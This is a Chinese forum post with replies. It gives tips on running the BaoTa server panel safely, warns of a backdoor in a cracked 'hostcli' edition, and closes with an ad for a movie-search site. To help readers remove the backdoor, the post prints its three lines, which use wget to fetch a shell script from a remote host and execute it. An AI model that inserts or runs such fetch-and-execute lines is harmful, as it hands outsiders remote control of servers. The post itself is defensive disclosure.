如何安全的使用宝塔, 最实用的经验(附首发开心版后门)-嘟嘟社区

本帖最后由 bagheera 于 2022-5-12 12:23 编辑

如何安全的使用宝塔:
先来问一个问题, 为何要使用宝塔: 方便的安装配置环境, 管理站点.
以下建议满足上述基础需求,更高需求满足不了.

1, 免费版: 安装完需要的环境软件, 插件. 然后 ssh 里面 service bt stop, 就会停掉bt进程, 环境不受影响,cron类应该只有一个let证书续费,不会链接bt官网.
2, 收费版: service bt stop后,可能需要定期进后台用到防护统计,访问统计等插件, 可以在使用时候 service bt start, 访问后台,用完再stop.
bt进程日常就不应该运行.
3,开心版hostcli: 食用方法和上述一致外, 此开心版还加了一个"远程执行后门", 可以手动修改,删除掉代码,也可以使用.
后门文件在

/www/server/panel/script/check_files.py

复制代码

删除掉最后三行,这三行是从他服务器上下载一个sh,然后执行这个sh, 目前访问这个地址返回空内容,后门可能随时启用

checkFile="/www/server/panel/install/check_bt_file.sh"
wget -O ${checkFile} ‘https://v7.hostcli.com/tools/check_bt_file.sh’
. ${checkFile}

复制代码

本人能力有限,开心版只找到这一个后门, 里面还有没有不好说… 删掉这三行,再加上 service bt stop, 应该是安全的.

如果有帮助,请点个赞支持一下, 谢谢.

广告一下:
最近打算发布一款影视搜索源码,还在打磨中(主要在建立基础数据库,现有豆瓣电影30多万,豆瓣评分和imdb评分,后期也会开放api)
预览地址 http://175.24.2.129/
后台暂不开放预览,附截图几张
https://tuchuangs.com/imgs/2022/05/12/275b3f9de6499a7c.jpeg
https://tuchuangs.com/imgs/2022/05/12/1826d85756f7f8d5.jpeg
https://tuchuangs.com/imgs/2022/05/12/620ab1f0a886e1ce.jpeg

影视搜索包含在线观看和下载吗不包括为啥不用TMDB https://www.themoviedb.org/

这影视搜索不错

影视不错。收费的还是免费的呢？

laianguo 发表于 2022-5-12 12:29
影视不错。收费的还是免费的呢？

少量收费吧, 维护数据太耗时了

大佬厉害啦，支持一个。。。

你的影视搜索源码有没有后门？会不会连你的服务器？

你是有多喜欢汤唯

谢谢分享

mgwx 发表于 2022-5-12 12:42
影视搜索包含在线观看和下载吗不包括为啥不用TMDB https://www.themoviedb.org/

是资源的搜索, 不是影片信息,我建设影视基础库,是为了搜索匹配更准确
你可以去搜索一下试试